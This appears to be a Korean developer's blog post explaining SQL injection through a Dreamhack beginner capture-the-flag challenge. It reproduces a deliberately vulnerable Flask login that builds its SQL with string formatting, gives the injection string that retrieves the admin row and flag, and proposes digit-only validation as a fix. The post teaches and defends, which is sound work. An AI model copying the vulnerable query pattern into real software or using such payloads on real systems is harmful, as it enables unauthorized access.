Search
😀

웃긴 짤 ㅋㅋㅋ ( 근데 이제 SQL인젝션을 곁들인…)

카테고리
백엔드 🧬
Date
2023/09/22
Tags
2 more properties
이 날은 일찍 출근해서 Redis에 대한 강의를 들으며 야무진 도시락을 먹고 있었는데 친구에게 인생 꿀팁이라며 카톡으로 사진 두 장이 왔다.!!
국토교통부 데이터 베이스 DROP 시키는 방법
선생님께 예쁨 받는 방법
이 짤을 보고 미친듯이 웃었고 이 참에 SQL 인젝션에 대해 글을 하나 끄적여 보려고 한다.

SQL Injection

SQL인젝션은 말 그대로 SQL을 삽입하는 해킹 기법을 말한다.
해커가 서버에 침입하거나 트래픽을 발생시키는 공격과 다르게 단지 Form에 SQL을 삽입하는 것으로 이루어 지는 공격이기 때문에 해킹하는 방법과 보안하는 방법 모두 비교적 쉽다.
사실 요새 나오는 Data Access 라이브러리의 경우 거의 입력 값을 검증하기 때문에 괜찮다고 생각하지만 예전에 만들어진 프로젝트의 경우엔 뚫리는 곳도 많다고 한다.
SQL 인젝션을 실제로 해보고 싶어서 드림핵에서 SQL 인젝션 관련 문제를 찾아봤다.

드림핵 1단계 - Simple SQLI ChatGPT

문제

요기 로그인 레벨 입력 창을 활용해서 Admin 권한을 가져서 FLAG를 획득하면 되는 것 같다.
문제 코드가 너무 길어서 문제 코드를 좀 간소화를 시켜왔다.

app.py

DATABASE = "database.db" if os.path.exists(DATABASE) == False: db = sqlite3.connect(DATABASE) db.execute('create table users(userid char(100), userpassword char(100), userlevel integer);') db.execute(f'insert into users(userid, userpassword, userlevel) values ("guest", "guest", 0), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}", 0);') db.commit() db.close() @app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'GET': return render_template('login.html') else: userlevel = request.form.get('userlevel') res = query_db(f"select * from users where userlevel='{userlevel}'") if res: userid = res[0] userlevel = res[2] print(userid, userlevel) if userid == 'admin' and userlevel == 0: return f'hello {userid} flag is {FLAG}' return f'<script>alert("hello {userid}");history.go(-1);</script>' return '<script>alert("wrong");history.go(-1);</script>'
Java
복사
Flask로 웹 개발을 한것 같고 코드를 분석해보자.
os.path.exists(DATABASE): 디비가 존재하지 않는다면
db = sqlite3.connect(DATABASE) db.execute('create table users(userid char(100), userpassword char(100), userlevel integer);') db.execute(f'insert into users(userid, userpassword, userlevel) values ("guest", "guest", 0), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}", 0);') db.commit() db.close()
Java
복사
users 테이블을 만들고 guest 한명과 admin 한명을 만든다.
여기서 admin의 userpassword는 랜덤 값으로 들어가 있어서 알아낼 수가 없다.
GET 요청 시 login.html 페이지를 반환.
유저가 Form을 Submit하면 아래 쿼리가 SQL로 나가는 것 같다.
res = query_db(f"select * from users where userlevel='{userlevel}'")
Java
복사
여기서 SQL 인젝션 공격을 사용할 수 있다.
userlevel 컬럼은 admin과 guest 둘다 0이고 userid가 관리자는 admin 유저는 guest이다.

인젝션 코드

0 ' and userid = 'admin
Java
복사
SQL의 {userlevel} 칸에 아래와 같은 문자열을 삽입하면
select * from users where userlevel='0' and userid='admin'
Java
복사
이런 SQL문이 완성된다.
요 스크립트를 삽입하니 아래처럼 FLAG가 나왔다.
SQL 인젝션을 방지하기 위해 직접 이 문제를 변경 해보자면 특수 문자나 문자가 들어오지 못하도록 검사를 하는 함수를 만들고 그 다음 SQL에 접근하는 코드를 실행한다면 SQL 인젝션 공격을 막을 수 있을 것 같다.
True 일 때 실행하도록
def validate(userlevel): return True if userlevel and userlevel.isdigit() else False
Python
복사
또는 예외를 던지도록
def validate(userlevel): if userlevel and userlevel.isdigit(): return True else: raise ValueError("유효하지 않은 사용자 레벨입니다.")
Python
복사
userlevel = request.form.get('userlevel') if(validate(userlevel)): res = query_db(f"select * from users where userlevel='{userlevel}'")
Python
복사